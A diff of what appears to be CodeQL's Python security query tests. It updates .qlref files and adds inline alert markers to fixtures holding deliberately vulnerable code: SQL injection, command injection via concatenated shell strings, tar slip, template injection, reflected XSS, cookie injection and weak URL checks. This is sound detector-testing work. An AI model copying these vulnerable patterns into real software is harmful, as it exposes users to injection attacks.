a/python/ql/test/query-tests/Metrics/functions/FunctionStatementNestingDepth.qlref +++ b/python/ql/test/query-tests/Metrics/functions/FunctionStatementNestingDepth.qlref @@ -1 +1 @@ -Metrics/FunctionStatementNestingDepth.ql \ No newline at end of file +query: Metrics/FunctionStatementNestingDepth.ql diff --git a/python/ql/test/query-tests/Metrics/imports/DirectImports.qlref b/python/ql/test/query-tests/Metrics/imports/DirectImports.qlref index 84fe2dc5805b..0878b8892634 100644 --- a/python/ql/test/query-tests/Metrics/imports/DirectImports.qlref +++ b/python/ql/test/query-tests/Metrics/imports/DirectImports.qlref @@ -1 +1 @@ -Metrics/DirectImports.ql +query: Metrics/DirectImports.ql diff --git a/python/ql/test/query-tests/Metrics/imports/TransitiveImports.qlref b/python/ql/test/query-tests/Metrics/imports/TransitiveImports.qlref index 1bacdce45c28..35e369b89b41 100644 --- a/python/ql/test/query-tests/Metrics/imports/TransitiveImports.qlref +++ b/python/ql/test/query-tests/Metrics/imports/TransitiveImports.qlref @@ -1 +1 @@ -Metrics/TransitiveImports.ql \ No newline at end of file +query: Metrics/TransitiveImports.ql diff --git a/python/ql/test/query-tests/Metrics/lines/CommentRatio.qlref b/python/ql/test/query-tests/Metrics/lines/CommentRatio.qlref index 9c3179ac5033..a8be2d84cc5d 100644 --- a/python/ql/test/query-tests/Metrics/lines/CommentRatio.qlref +++ b/python/ql/test/query-tests/Metrics/lines/CommentRatio.qlref @@ -1 +1 @@ -Metrics/CommentRatio.ql +query: Metrics/CommentRatio.ql diff --git a/python/ql/test/query-tests/Metrics/lines/FLinesOfCode.qlref b/python/ql/test/query-tests/Metrics/lines/FLinesOfCode.qlref index 2ac69b8f67a8..6a2c24b94b1d 100644 --- a/python/ql/test/query-tests/Metrics/lines/FLinesOfCode.qlref +++ b/python/ql/test/query-tests/Metrics/lines/FLinesOfCode.qlref @@ -1 +1 @@ -Metrics/FLinesOfCode.ql +query: Metrics/FLinesOfCode.ql diff --git a/python/ql/test/query-tests/Metrics/ratios/CommentRatio.qlref b/python/ql/test/query-tests/Metrics/ratios/CommentRatio.qlref index dc273e169828..a8be2d84cc5d 100644 --- a/python/ql/test/query-tests/Metrics/ratios/CommentRatio.qlref +++ b/python/ql/test/query-tests/Metrics/ratios/CommentRatio.qlref @@ -1 +1 @@ -Metrics/CommentRatio.ql \ No newline at end of file +query: Metrics/CommentRatio.ql diff --git a/python/ql/test/query-tests/Metrics/ratios/DocStringRatio.qlref b/python/ql/test/query-tests/Metrics/ratios/DocStringRatio.qlref index ec66c5cdc834..c8c5812818f6 100644 --- a/python/ql/test/query-tests/Metrics/ratios/DocStringRatio.qlref +++ b/python/ql/test/query-tests/Metrics/ratios/DocStringRatio.qlref @@ -1 +1 @@ -Metrics/DocStringRatio.ql \ No newline at end of file +query: Metrics/DocStringRatio.ql diff --git a/python/ql/test/query-tests/Metrics/tests/FNumberOfTests.qlref b/python/ql/test/query-tests/Metrics/tests/FNumberOfTests.qlref index e7301c3b2302..46d66e549876 100644 --- a/python/ql/test/query-tests/Metrics/tests/FNumberOfTests.qlref +++ b/python/ql/test/query-tests/Metrics/tests/FNumberOfTests.qlref @@ -1 +1 @@ -Metrics/FNumberOfTests.ql \ No newline at end of file +query: Metrics/FNumberOfTests.ql diff --git a/python/ql/test/query-tests/Security/CWE-020-CookieInjection/CookieInjection.qlref b/python/ql/test/query-tests/Security/CWE-020-CookieInjection/CookieInjection.qlref index a405c564b1bf..788c1b424ff5 100644 --- a/python/ql/test/query-tests/Security/CWE-020-CookieInjection/CookieInjection.qlref +++ b/python/ql/test/query-tests/Security/CWE-020-CookieInjection/CookieInjection.qlref @@ -1 +1,2 @@ -Security/CWE-020/CookieInjection.ql \ No newline at end of file +query: Security/CWE-020/CookieInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-020-CookieInjection/django_tests.py b/python/ql/test/query-tests/Security/CWE-020-CookieInjection/django_tests.py index e070f5cab82b..b016f98dc831 100644 --- a/python/ql/test/query-tests/Security/CWE-020-CookieInjection/django_tests.py +++ b/python/ql/test/query-tests/Security/CWE-020-CookieInjection/django_tests.py @@ -1,16 +1,16 @@ import django.http from django.urls import path -def django_response_bad(request): +def django_response_bad(request): # $ Source resp = django.http.HttpResponse() - resp.set_cookie(request.GET.get("name"), # BAD: Cookie is constructed from user input - request.GET.get("value")) + resp.set_cookie(request.GET.get("name"), # BAD: Cookie is constructed from user input # $ Alert + request.GET.get("value")) # $ Alert return resp -def django_response_bad2(request): +def django_response_bad2(request): # $ Source response = django.http.HttpResponse() - response['Set-Cookie'] = f"{request.GET.get('name')}={request.GET.get('value')}; SameSite=None;" # BAD: Cookie header is constructed from user input. + response['Set-Cookie'] = f"{request.GET.get('name')}={request.GET.get('value')}; SameSite=None;" # BAD: Cookie header is constructed from user input. # $ Alert return response # fake setup, you can't actually run this diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qlref b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qlref index c91bf44f815c..34ac0b640147 100644 --- a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qlref +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qlref @@ -1 +1 @@ -Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.ql +query: Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.ql diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qlref b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qlref index 03c06feeec88..fbacbf2a07a0 100644 --- a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qlref +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qlref @@ -1 +1,2 @@ -Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql +query: Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/test.py b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/test.py index 18b46298d8af..f2857914c03b 100644 --- a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/test.py +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/test.py @@ -2,7 +2,7 @@ import hmac import base64 -from flask import Flask, request, make_response +from flask import Flask, request, make_response # $ Source app = Flask(__name__) SECRET_KEY = b"SECRET_KEY" @@ -12,7 +12,7 @@ def hmac_example(): data_raw = request.args.get("data").encode('utf-8') data = base64.decodebytes(data_raw) - my_hmac = hmac.new(SECRET_KEY, data, hashlib.sha256) + my_hmac = hmac.new(SECRET_KEY, data, hashlib.sha256) # $ Alert digest = my_hmac.digest() print(digest) return "ok" @@ -22,7 +22,7 @@ def hmac_example(): def hmac_example2(): data_raw = request.args.get("data").encode('utf-8') data = base64.decodebytes(data_raw) - my_hmac = hmac.new(key=SECRET_KEY, msg=data, digestmod=hashlib.sha256) + my_hmac = hmac.new(key=SECRET_KEY, msg=data, digestmod=hashlib.sha256) # $ Alert digest = my_hmac.digest() print(digest) return "ok" @@ -32,16 +32,16 @@ def hmac_example2(): def unknown_lib_1(): from unknown.lib import func data = request.args.get("data") - func(data) - func(kw=data) + func(data) # $ Alert + func(kw=data) # $ Alert @app.route("/unknown-lib-2") def unknown_lib_2(): import unknown.lib data = request.args.get("data") - unknown.lib.func(data) - unknown.lib.func(kw=data) + unknown.lib.func(data) # $ Alert + unknown.lib.func(kw=data) # $ Alert def handle_this(arg, application = None): diff --git a/python/ql/test/query-tests/Security/CWE-020-IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref b/python/ql/test/query-tests/Security/CWE-020-IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref index e818d9472521..d1afa3858252 100644 --- a/python/ql/test/query-tests/Security/CWE-020-IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref +++ b/python/ql/test/query-tests/Security/CWE-020-IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref @@ -1 +1,2 @@ -Security/CWE-020/IncompleteHostnameRegExp.ql \ No newline at end of file +query: Security/CWE-020/IncompleteHostnameRegExp.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-020-IncompleteHostnameRegExp/hosttest.py b/python/ql/test/query-tests/Security/CWE-020-IncompleteHostnameRegExp/hosttest.py index ca7f7094a8c9..e2e90e651424 100644 --- a/python/ql/test/query-tests/Security/CWE-020-IncompleteHostnameRegExp/hosttest.py +++ b/python/ql/test/query-tests/Security/CWE-020-IncompleteHostnameRegExp/hosttest.py @@ -3,7 +3,7 @@ app = Flask(__name__) -UNSAFE_REGEX = re.compile("(www|beta).example.com/") +UNSAFE_REGEX = re.compile("(www|beta).example.com/") # $ Alert SAFE_REGEX = re.compile(r"(www|beta)\.example\.com/") @app.route('/some/path/bad') diff --git a/python/ql/test/query-tests/Security/CWE-020-IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref b/python/ql/test/query-tests/Security/CWE-020-IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref index 3fa6794419d7..1c4c23821534 100644 --- a/python/ql/test/query-tests/Security/CWE-020-IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref +++ b/python/ql/test/query-tests/Security/CWE-020-IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref @@ -1 +1,2 @@ -Security/CWE-020/IncompleteUrlSubstringSanitization.ql \ No newline at end of file +query: Security/CWE-020/IncompleteUrlSubstringSanitization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-020-IncompleteUrlSubstringSanitization/urltest.py b/python/ql/test/query-tests/Security/CWE-020-IncompleteUrlSubstringSanitization/urltest.py index 308b946603b8..bc59d83819ac 100644 --- a/python/ql/test/query-tests/Security/CWE-020-IncompleteUrlSubstringSanitization/urltest.py +++ b/python/ql/test/query-tests/Security/CWE-020-IncompleteUrlSubstringSanitization/urltest.py @@ -6,13 +6,13 @@ @app.route('/some/path/bad1') def unsafe1(request): target = request.args.get('target', '') - if "example.com" in target: + if "example.com" in target: # $ Alert return redirect(target) @app.route('/some/path/bad2') def unsafe2(request): target = request.args.get('target', '') - if target.endswith("example.com"): + if target.endswith("example.com"): # $ Alert return redirect(target) diff --git a/python/ql/test/query-tests/Security/CWE-020-SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref b/python/ql/test/query-tests/Security/CWE-020-SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref index 77b5c92707f9..c42315c4550e 100644 --- a/python/ql/test/query-tests/Security/CWE-020-SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref +++ b/python/ql/test/query-tests/Security/CWE-020-SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref @@ -1 +1,2 @@ -Security/CWE-020/OverlyLargeRange.ql +query: Security/CWE-020/OverlyLargeRange.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-020-SuspiciousRegexpRange/test.py b/python/ql/test/query-tests/Security/CWE-020-SuspiciousRegexpRange/test.py index 43380ccef0db..d24dcef864d0 100644 --- a/python/ql/test/query-tests/Security/CWE-020-SuspiciousRegexpRange/test.py +++ b/python/ql/test/query-tests/Security/CWE-020-SuspiciousRegexpRange/test.py @@ -1,10 +1,10 @@ import re -overlap1 = re.compile(r'^[0-93-5]$') # NOT OK +overlap1 = re.compile(r'^[0-93-5]$') # NOT OK # $ Alert -overlap2 = re.compile(r'[A-ZA-z]') # NOT OK +overlap2 = re.compile(r'[A-ZA-z]') # NOT OK # $ Alert -isEmpty = re.compile(r'^[z-a]$') # NOT OK +isEmpty = re.compile(r'^[z-a]$') # NOT OK # $ Alert isAscii = re.compile(r'^[\x00-\x7F]*$') # OK @@ -14,18 +14,18 @@ NON_ALPHANUMERIC_REGEXP = re.compile(r'([^\#-~| |!])') # OK -smallOverlap = re.compile(r'[0-9a-fA-f]') # NOT OK +smallOverlap = re.compile(r'[0-9a-fA-f]') # NOT OK # $ Alert -weirdRange = re.compile(r'[$-`]') # NOT OK +weirdRange = re.compile(r'[$-`]') # NOT OK # $ Alert -keywordOperator = re.compile(r'[!\~\*\/%+-<>\^|=&]') # NOT OK +keywordOperator = re.compile(r'[!\~\*\/%+-<>\^|=&]') # NOT OK # $ Alert -notYoutube = re.compile(r'youtu\.be\/[a-z1-9.-_]+') # NOT OK +notYoutube = re.compile(r'youtu\.be\/[a-z1-9.-_]+') # NOT OK # $ Alert -numberToLetter = re.compile(r'[7-F]') # NOT OK +numberToLetter = re.compile(r'[7-F]') # NOT OK # $ Alert -overlapsWithClass1 = re.compile(r'[0-9\d]') # NOT OK +overlapsWithClass1 = re.compile(r'[0-9\d]') # NOT OK # $ Alert -overlapsWithClass2 = re.compile(r'[\w,.-?:*+]') # NOT OK +overlapsWithClass2 = re.compile(r'[\w,.-?:*+]') # NOT OK # $ Alert -unicodeStuff = re.compile('[\U0001D173-\U0001D17A\U000E0020-\U000E007F\U000e0001]') # NOT OK \ No newline at end of file +unicodeStuff = re.compile('[\U0001D173-\U0001D17A\U000E0020-\U000E007F\U000e0001]') # NOT OK # $ Alert \ No newline at end of file diff --git a/python/ql/test/query-tests/Security/CWE-022-TarSlip/TarSlip.qlref b/python/ql/test/query-tests/Security/CWE-022-TarSlip/TarSlip.qlref index cfede0c92b21..c9b6b9f4f069 100644 --- a/python/ql/test/query-tests/Security/CWE-022-TarSlip/TarSlip.qlref +++ b/python/ql/test/query-tests/Security/CWE-022-TarSlip/TarSlip.qlref @@ -1 +1,2 @@ -Security/CWE-022/TarSlip.ql +query: Security/CWE-022/TarSlip.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-022-TarSlip/tarslip.py b/python/ql/test/query-tests/Security/CWE-022-TarSlip/tarslip.py index 2c06d01adfd5..616c93043f7a 100644 --- a/python/ql/test/query-tests/Security/CWE-022-TarSlip/tarslip.py +++ b/python/ql/test/query-tests/Security/CWE-022-TarSlip/tarslip.py @@ -11,13 +11,13 @@ for entry in tar: tar.extract(entry) -tar = tarfile.open(unsafe_filename_tar) -tar.extractall() +tar = tarfile.open(unsafe_filename_tar) # $ Source +tar.extractall() # $ Alert tar.close() -tar = tarfile.open(unsafe_filename_tar) +tar = tarfile.open(unsafe_filename_tar) # $ Source for entry in tar: - tar.extract(entry) + tar.extract(entry) # $ Alert tar = tarfile.open(safe_filename_tar) tar.extractall() @@ -32,15 +32,15 @@ tar.extract(entry, "/tmp/unpack/") #Part Sanitized -tar = tarfile.open(unsafe_filename_tar) +tar = tarfile.open(unsafe_filename_tar) # $ Source for entry in tar: if ".." in entry.name: raise ValueError("Illegal tar archive entry") - tar.extract(entry, "/tmp/unpack/") + tar.extract(entry, "/tmp/unpack/") # $ Alert #Unsanitized members -tar = tarfile.open(unsafe_filename_tar) -tar.extractall(members=tar) +tar = tarfile.open(unsafe_filename_tar) # $ Source +tar.extractall(members=tar) # $ Alert #Sanitize members @@ -55,10 +55,10 @@ def safemembers(members): # Wrong sanitizer (is missing not) -tar = tarfile.open(unsafe_filename_tar) +tar = tarfile.open(unsafe_filename_tar) # $ Source for entry in tar: if os.path.isabs(entry.name) or ".." in entry.name: - tar.extract(entry, "/tmp/unpack/") + tar.extract(entry, "/tmp/unpack/") # $ Alert # OK Sanitized using not @@ -87,13 +87,13 @@ def safemembers(members): extraction_filter = "fully_trusted" -tar = tarfile.open(unsafe_filename_tar) -tar.extractall(filter=extraction_filter) # unsafe +tar = tarfile.open(unsafe_filename_tar) # $ Source +tar.extractall(filter=extraction_filter) # unsafe # $ Alert tar.close() -tar = tarfile.open(unsafe_filename_tar) +tar = tarfile.open(unsafe_filename_tar) # $ Source for entry in tar: - tar.extract(entry, filter=extraction_filter) # unsafe + tar.extract(entry, filter=extraction_filter) # unsafe # $ Alert extraction_filter = "data" @@ -106,11 +106,11 @@ def safemembers(members): tar.extract(entry, filter=extraction_filter) # safe extraction_filter = None -tar = tarfile.open(unsafe_filename_tar) -tar.extractall(filter=extraction_filter) # unsafe +tar = tarfile.open(unsafe_filename_tar) # $ Source +tar.extractall(filter=extraction_filter) # unsafe # $ Alert -tar = tarfile.open(unsafe_filename_tar) -tar.extractall(members=tar, filter=extraction_filter) # unsafe +tar = tarfile.open(unsafe_filename_tar) # $ Source +tar.extractall(members=tar, filter=extraction_filter) # unsafe # $ Alert tar = tarfile.open(unsafe_filename_tar) tar.extractall(members=safemembers(tar), filter=extraction_filter) # safe -- we assume `safemembers` makes up for the unsafe filter diff --git a/python/ql/test/query-tests/Security/CWE-074-TemplateInjection/JinjaSsti.py b/python/ql/test/query-tests/Security/CWE-074-TemplateInjection/JinjaSsti.py index f1fe834e4936..0dad4e31f645 100644 --- a/python/ql/test/query-tests/Security/CWE-074-TemplateInjection/JinjaSsti.py +++ b/python/ql/test/query-tests/Security/CWE-074-TemplateInjection/JinjaSsti.py @@ -4,21 +4,21 @@ from jinja2 import Environment, DictLoader, escape -def a(request): +def a(request): # $ Source # Load the template template = request.GET['template'] - t = Template(template) # BAD: Template constructed from user input + t = Template(template) # BAD: Template constructed from user input # $ Alert name = request.GET['name'] # Render the template with the context data html = t.render(name=escape(name)) return HttpResponse(html) -def b(request): +def b(request): # $ Source import jinja2 # Load the template template = request.GET['template'] env = Environment() - t = env.from_string(template) # BAD: Template constructed from user input + t = env.from_string(template) # BAD: Template constructed from user input # $ Alert name = request.GET['name'] # Render the template with the context data html = t.render(name=escape(name)) diff --git a/python/ql/test/query-tests/Security/CWE-074-TemplateInjection/TemplateInjection.qlref b/python/ql/test/query-tests/Security/CWE-074-TemplateInjection/TemplateInjection.qlref index ead6bb469c6a..818407e3eb80 100644 --- a/python/ql/test/query-tests/Security/CWE-074-TemplateInjection/TemplateInjection.qlref +++ b/python/ql/test/query-tests/Security/CWE-074-TemplateInjection/TemplateInjection.qlref @@ -1 +1,2 @@ -Security/CWE-074/TemplateInjection.ql \ No newline at end of file +query: Security/CWE-074/TemplateInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-078-CommandInjection-py2/CommandInjection.qlref b/python/ql/test/query-tests/Security/CWE-078-CommandInjection-py2/CommandInjection.qlref index e38b88f29197..8d677af35712 100644 --- a/python/ql/test/query-tests/Security/CWE-078-CommandInjection-py2/CommandInjection.qlref +++ b/python/ql/test/query-tests/Security/CWE-078-CommandInjection-py2/CommandInjection.qlref @@ -1 +1,2 @@ -Security/CWE-078/CommandInjection.ql +query: Security/CWE-078/CommandInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-078-CommandInjection-py2/command_injection.py b/python/ql/test/query-tests/Security/CWE-078-CommandInjection-py2/command_injection.py index 09dd2bf97168..676215f29d1b 100644 --- a/python/ql/test/query-tests/Security/CWE-078-CommandInjection-py2/command_injection.py +++ b/python/ql/test/query-tests/Security/CWE-078-CommandInjection-py2/command_injection.py @@ -2,7 +2,7 @@ import platform import popen2 -from flask import Flask, request +from flask import Flask, request # $ Source app = Flask(__name__) @@ -16,14 +16,14 @@ def python2_specific(): """ files = request.args.get("files", "") - os.popen2("ls " + files) - os.popen3("ls " + files) - os.popen4("ls " + files) + os.popen2("ls " + files) # $ Alert + os.popen3("ls " + files) # $ Alert + os.popen4("ls " + files) # $ Alert - platform.popen("ls " + files) + platform.popen("ls " + files) # $ Alert - popen2.popen2("ls " + files) - popen2.popen3("ls " + files) - popen2.popen4("ls " + files) - popen2.Popen3("ls " + files) - popen2.Popen4("ls " + files) + popen2.popen2("ls " + files) # $ Alert + popen2.popen3("ls " + files) # $ Alert + popen2.popen4("ls " + files) # $ Alert + popen2.Popen3("ls " + files) # $ Alert + popen2.Popen4("ls " + files) # $ Alert diff --git a/python/ql/test/query-tests/Security/CWE-078-CommandInjection/CommandInjection.qlref b/python/ql/test/query-tests/Security/CWE-078-CommandInjection/CommandInjection.qlref index e38b88f29197..47dd63a884ea 100644 --- a/python/ql/test/query-tests/Security/CWE-078-CommandInjection/CommandInjection.qlref +++ b/python/ql/test/query-tests/Security/CWE-078-CommandInjection/CommandInjection.qlref @@ -1 +1 @@ -Security/CWE-078/CommandInjection.ql +query: Security/CWE-078/CommandInjection.ql diff --git a/python/ql/test/query-tests/Security/CWE-078-UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref b/python/ql/test/query-tests/Security/CWE-078-UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref index fdc01b9ecbf7..6d6ee0abf7d8 100644 --- a/python/ql/test/query-tests/Security/CWE-078-UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref +++ b/python/ql/test/query-tests/Security/CWE-078-UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref @@ -1 +1 @@ -Security/CWE-078/UnsafeShellCommandConstruction.ql +query: Security/CWE-078/UnsafeShellCommandConstruction.ql diff --git a/python/ql/test/query-tests/Security/CWE-079-Jinja2WithoutEscaping/Jinja2WithoutEscaping.qlref b/python/ql/test/query-tests/Security/CWE-079-Jinja2WithoutEscaping/Jinja2WithoutEscaping.qlref index 9fefcf4a030d..d63a6068dc22 100644 --- a/python/ql/test/query-tests/Security/CWE-079-Jinja2WithoutEscaping/Jinja2WithoutEscaping.qlref +++ b/python/ql/test/query-tests/Security/CWE-079-Jinja2WithoutEscaping/Jinja2WithoutEscaping.qlref @@ -1 +1,2 @@ -Security/CWE-079/Jinja2WithoutEscaping.ql +query: Security/CWE-079/Jinja2WithoutEscaping.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-079-Jinja2WithoutEscaping/jinja2_escaping.py b/python/ql/test/query-tests/Security/CWE-079-Jinja2WithoutEscaping/jinja2_escaping.py index aed840ce8863..4c63f5b5fd61 100644 --- a/python/ql/test/query-tests/Security/CWE-079-Jinja2WithoutEscaping/jinja2_escaping.py +++ b/python/ql/test/query-tests/Security/CWE-079-Jinja2WithoutEscaping/jinja2_escaping.py @@ -6,7 +6,7 @@ app = Flask(__name__) loader = FileSystemLoader( searchpath="templates/" ) -unsafe_env = Environment(loader=loader) +unsafe_env = Environment(loader=loader) # $ Alert safe1_env = Environment(loader=loader, autoescape=True) safe2_env = Environment(loader=loader, autoescape=select_autoescape()) @@ -38,18 +38,18 @@ def safe2(): auto = select_autoescape e = Environment(autoescape=auto) # GOOD z = 0 -e = Environment(autoescape=z) # BAD +e = Environment(autoescape=z) # BAD # $ Alert E = Environment -E() # BAD -E(autoescape=z) # BAD +E() # BAD # $ Alert +E(autoescape=z) # BAD # $ Alert E(autoescape=auto) # GOOD E(autoescape=0+1) # GOOD def checked(cond=False): if cond: - e = Environment(autoescape=cond) # GOOD + e = Environment(autoescape=cond) # GOOD # $ Alert -unsafe_tmpl = Template('Hello {{ name }}!') +unsafe_tmpl = Template('Hello {{ name }}!') # $ Alert safe1_tmpl = Template('Hello {{ name }}!', autoescape=True) safe2_tmpl = Template('Hello {{ name }}!', autoescape=select_autoescape()) diff --git a/python/ql/test/query-tests/Security/CWE-079-ReflectedXss/ReflectedXss.qlref b/python/ql/test/query-tests/Security/CWE-079-ReflectedXss/ReflectedXss.qlref index e0efe1024162..9cd0122e556e 100644 --- a/python/ql/test/query-tests/Security/CWE-079-ReflectedXss/ReflectedXss.qlref +++ b/python/ql/test/query-tests/Security/CWE-079-ReflectedXss/ReflectedXss.qlref @@ -1 +1,2 @@ -Security/CWE-079/ReflectedXss.ql +query: Security/CWE-079/ReflectedXss.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-079-ReflectedXss/reflected_xss.py b/python/ql/test/query-tests/Security/CWE-079-ReflectedXss/reflected_xss.py index 98682f04f3cb..8c78cc07ba1b 100644 --- a/python/ql/test/query-tests/Security/CWE-079-ReflectedXss/reflected_xss.py +++ b/python/ql/test/query-tests/Security/CWE-079-ReflectedXss/reflected_xss.py @@ -1,5 +1,5 @@ import json -from flask import Flask, request, make_response, escape, jsonify +from flask import Flask, request, make_response, escape, jsonify # $ Source app = Flask(__name__) @@ -7,7 +7,7 @@ @app.route("/unsafe") def unsafe(): first_name = request.args.get("name", "") - return make_response("Your name is " + first_name) # NOT OK + return make_response("Your name is " + first_name) # NOT OK # $ Alert @app.route("/safe") @@ -19,13 +19,13 @@ def safe(): @app.route("/unsafe/json") def unsafe_json(): data = json.loads(request.data) - return make_response(json.dumps(data)) # NOT OK + return make_response(json.dumps(data)) # NOT OK # $ Alert @app.route("/safe/json") def safe_json(): data = json.loads(request.data) - return make_response(json.dumps(data), 200, {'Content-Type': 'application/json'}) # OK, FP + return make_response(json.dumps(data), 200, {'Content-Type': 'application/json'}) # OK, FP # $ Alert @app.route("/jsonify") diff --git a/python/ql/test/query-tests/Security/CWE-089-SqlInjection-local-threat-model/SqlInjection.qlref b/python/ql/test/query-tests/Security/CWE-089-SqlInjection-local-threat-model/SqlInjection.qlref index b6916bd2cd46..e19181577447 100644 --- a/python/ql/test/query-tests/Security/CWE-089-SqlInjection-local-threat-model/SqlInjection.qlref +++ b/python/ql/test/query-tests/Security/CWE-089-SqlInjection-local-threat-model/SqlInjection.qlref @@ -1,2 +1,4 @@ query: Security/CWE-089/SqlInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-089-SqlInjection-local-threat-model/test.py b/python/ql/test/query-tests/Security/CWE-089-SqlInjection-local-threat-model/test.py index 97bfa393cedf..70959d0bff03 100644 --- a/python/ql/test/query-tests/Security/CWE-089-SqlInjection-local-threat-model/test.py +++ b/python/ql/test/query-tests/Security/CWE-089-SqlInjection-local-threat-model/test.py @@ -3,4 +3,4 @@ import psycopg conn = psycopg.connect(...) -conn.execute(sys.argv[1]) +conn.execute(sys.argv[1]) # $ Alert diff --git a/python/ql/test/query-tests/Security/CWE-089-SqlInjection/SqlInjection.qlref b/python/ql/test/query-tests/Security/CWE-089-SqlInjection/SqlInjection.qlref index d1d02cbe8d37..444c0e5f46aa 100644 --- a/python/ql/test/query-tests/Security/CWE-089-SqlInjection/SqlInjection.qlref +++ b/python/ql/test/query-tests/Security/CWE-089-SqlInjection/SqlInjection.qlref @@ -1 +1,2 @@ -Security/CWE-089/SqlInjection.ql +query: Security/CWE-089/SqlInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-089-SqlInjection/sql_injection.py b/python/ql/test/query-tests/Security/CWE-089-SqlInjection/sql_injection.py index c79bee16cb21..52aa3169616e 100644 --- a/python/ql/test/query-tests/Security/CWE-089-SqlInjection/sql_injection.py +++ b/python/ql/test/query-tests/Security/CWE-089-SqlInjection/sql_injection.py @@ -11,19 +11,19 @@ class User(models.Model): pass @app.route("/users/") -def show_user(username): +def show_user(username): # $ Source with connection.cursor() as cursor: # GOOD -- Using parameters cursor.execute("SELECT * FROM users WHERE username = %s", username) User.objects.raw("SELECT * FROM users WHERE username = %s", (username,)) # BAD -- Using string formatting - cursor.execute("SELECT * FROM users WHERE username = '%s'" % username) + cursor.execute("SELECT * FROM users WHERE username = '%s'" % username) # $ Alert # BAD -- other ways of executing raw SQL code with string interpolation - User.objects.annotate(RawSQL("insert into names_file ('name') values ('%s')" % username)) - User.objects.raw("insert into names_file ('name') values ('%s')" % username) - User.objects.extra("insert into names_file ('name') values ('%s')" % username) + User.objects.annotate(RawSQL("insert into names_file ('name') values ('%s')" % username)) # $ Alert + User.objects.raw("insert into names_file ('name') values ('%s')" % username) # $ Alert + User.objects.extra("insert into names_file ('name') values ('%s')" % username) # $ Alert # BAD (but currently no custom query to find this) # diff --git a/python/ql/test/query-tests/Security/CWE-089-SqlInjection/sqlalchemy_textclause.py b/python/ql/test/query-tests/Security/CWE-089-SqlInjection/sqlalchemy_textclause.py index a54d64517d42..f35b1325366c 100644 --- a/python/ql/test/query-tests/Security/CWE-089-SqlInjection/sqlalchemy_textclause.py +++ b/python/ql/test/query-tests/Security/CWE-089-SqlInjection/sqlalchemy_textclause.py @@ -20,15 +20,15 @@ class User(Base): @app.route("/users/") -def show_user(username): +def show_user(username): # $ Source session = sqlalchemy.orm.Session(engine) # BAD, normal SQL injection - stmt = sqlalchemy.text("SELECT * FROM users WHERE username = '{}'".format(username)) + stmt = sqlalchemy.text("SELECT * FROM users WHERE username = '{}'".format(username)) # $ Alert results = session.execute(stmt).fetchall() # BAD, allows SQL injection - username_formatted_for_sql = sqlalchemy.text("'{}'".format(username)) + username_formatted_for_sql = sqlalchemy.text("'{}'".format(username)) # $ Alert stmt = sqlalchemy.select(User).where(User.username == username_formatted_for_sql) results = session.execute(stmt).scalars().all() @@ -38,14 +38,14 @@ def show_user(username): # All of these should be flagged by query - t1 = sqlalchemy.text(username) - t2 = sqlalchemy.text(text=username) - t3 = sqlalchemy.sql.text(username) - t4 = sqlalchemy.sql.text(text=username) - t5 = sqlalchemy.sql.expression.text(username) - t6 = sqlalchemy.sql.expression.text(text=username) - t7 = sqlalchemy.sql.expression.TextClause(username) - t8 = 